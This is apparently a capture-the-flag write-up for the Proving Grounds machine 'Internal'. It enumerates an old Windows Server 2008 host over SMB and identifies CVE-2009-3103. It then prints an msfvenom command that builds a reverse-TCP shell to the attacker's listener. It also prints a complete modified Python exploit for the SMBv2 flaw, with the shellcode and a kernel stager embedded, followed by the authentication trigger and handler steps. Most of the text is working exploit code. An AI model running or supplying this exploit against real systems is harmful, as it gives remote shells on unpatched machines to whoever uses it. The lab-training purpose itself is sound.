Internal

Writeup for Internal from Offensive Security Proving Grounds (PG)

Information Gathering

Service Enumeration

nmapAutomator.sh -H 192.168.134.40 -t full

SMB

SMB is running and null sessions are allowed.

enum4linux 192.168.134.40

Nothing much interesting. Access denied for most queries.

From the scan results we can see the Windows version: Windows Server (R) 2008 Standard 6001 Service Pack 1 microsoft-ds

That's pretty old. Let's run a vulnerability scan: nmapAutomator.sh -H 192.168.134.40 -t vulns

Vulnerability: CVE-2009-3103 (SMBv2 RCE)

Exploit code: https://www.exploit-db.com/exploits/40280

Exploit

Generate shellcode: msfvenom -p windows/shell/reverse_tcp LHOST=192.168.49.134 LPORT=4444 EXITFUNC=thread -f c

Add the shellcode output to the above exploit code.

Modified exploit code:

# EDB-Note: Source ~ https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py

#!/usr/bin/python
#This module depends on the linux command line program smbclient. 
#I can't find a python smb library for smb login. If you can find one, you can replace that part of the code with the smb login function in python.
#The idea is that after the evil payload is injected by the first packet, it need to be trigger by an authentication event. Whether the authentication successes or not does not matter.
import tempfile
import sys
import subprocess
from socket import socket
from time import sleep
from smb.SMBConnection import SMBConnection


try:

    target = sys.argv[1]
except IndexError:
    print '\nUsage: %s <target ip>\n' % sys.argv[0]
    print 'Example: MS36299.py 192.168.1.1 1\n'
    sys.exit(-1)

shell = ("\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x8b\x48\x18\x01\xd3\x50"
"\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x31\x86\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5")

host = target, 445

buff ="\x00\x00\x03\x9e\xff\x53\x4d\x42"
buff+="\x72\x00\x00\x00\x00\x18\x53\xc8"
buff+="\x17\x02" #high process ID
buff+="\x00\xe9\x58\x01\x00\x00"
buff+="\x00\x00\x00\x00\x00\x00\x00\x00"
buff+="\x00\x00\xfe\xda\x00\x7b\x03\x02"
buff+="\x04\x0d\xdf\xff"*25
buff+="\x00\x02\x53\x4d"
buff+="\x42\x20\x32\x2e\x30\x30\x32\x00"
buff+="\x00\x00\x00\x00"*37
buff+="\xff\xff\xff\xff"*2
buff+="\x42\x42\x42\x42"*7
buff+="\xb4\xff\xff\x3f" #magic index
buff+="\x41\x41\x41\x41"*6
buff+="\x09\x0d\xd0\xff" #return address

#stager_sysenter_hook from metasploit

buff+="\xfc\xfa\xeb\x1e\x5e\x68\x76\x01"
buff+="\x00\x00\x59\x0f\x32\x89\x46\x5d"
buff+="\x8b\x7e\x61\x89\xf8\x0f\x30\xb9"
buff+="\x16\x02\x00\x00\xf3\xa4\xfb\xf4"
buff+="\xeb\xfd\xe8\xdd\xff\xff\xff\x6a"
buff+="\x00\x9c\x60\xe8\x00\x00\x00\x00"
buff+="\x58\x8b\x58\x54\x89\x5c\x24\x24"
buff+="\x81\xf9\xde\xc0\xad\xde\x75\x10"
buff+="\x68\x76\x01\x00\x00\x59\x89\xd8"
buff+="\x31\xd2\x0f\x30\x31\xc0\xeb\x31"
buff+="\x8b\x32\x0f\xb6\x1e\x66\x81\xfb"
buff+="\xc3\x00\x75\x25\x8b\x58\x5c\x8d"
buff+="\x5b\x69\x89\x1a\xb8\x01\x00\x00"
buff+="\x80\x0f\xa2\x81\xe2\x00\x00\x10"
buff+="\x00\x74\x0e\xba\x00\xff\x3f\xc0"
buff+="\x83\xc2\x04\x81\x22\xff\xff\xff"
buff+="\x7f\x61\x9d\xc3\xff\xff\xff\xff"
buff+="\x00\x04\xdf\xff\x00\x04\xfe\x7f"
buff+="\x60\x6a\x30\x58\x99\x64\x8b\x18"
buff+="\x39\x53\x0c\x74\x2b\x8b\x43\x10"
buff+="\x8b\x40\x3c\x83\xc0\x28\x8b\x08"
buff+="\x03\x48\x03\x81\xf9\x6c\x61\x73"
buff+="\x73\x75\x15\xe8\x07\x00\x00\x00"
buff+="\xe8\x0d\x00\x00\x00\xeb\x09\xb9"
buff+="\xde\xc0\xad\xde\x89\xe2\x0f\x34"
buff+="\x61\xc3\x81\xc4\x54\xf2\xff\xff"

buff+=shell

s = socket()
s.connect(host)
s.send(buff)
s.close() 
#Trigger the above injected code via authenticated process.
subprocess.call("echo '1223456' | rpcclient -U Administrator %s"%(target), shell=True)

Use exploit/multi/handler to handle the staged payload (remember to set the corresponding PAYLOAD and THREAD from msfvenom earlier.)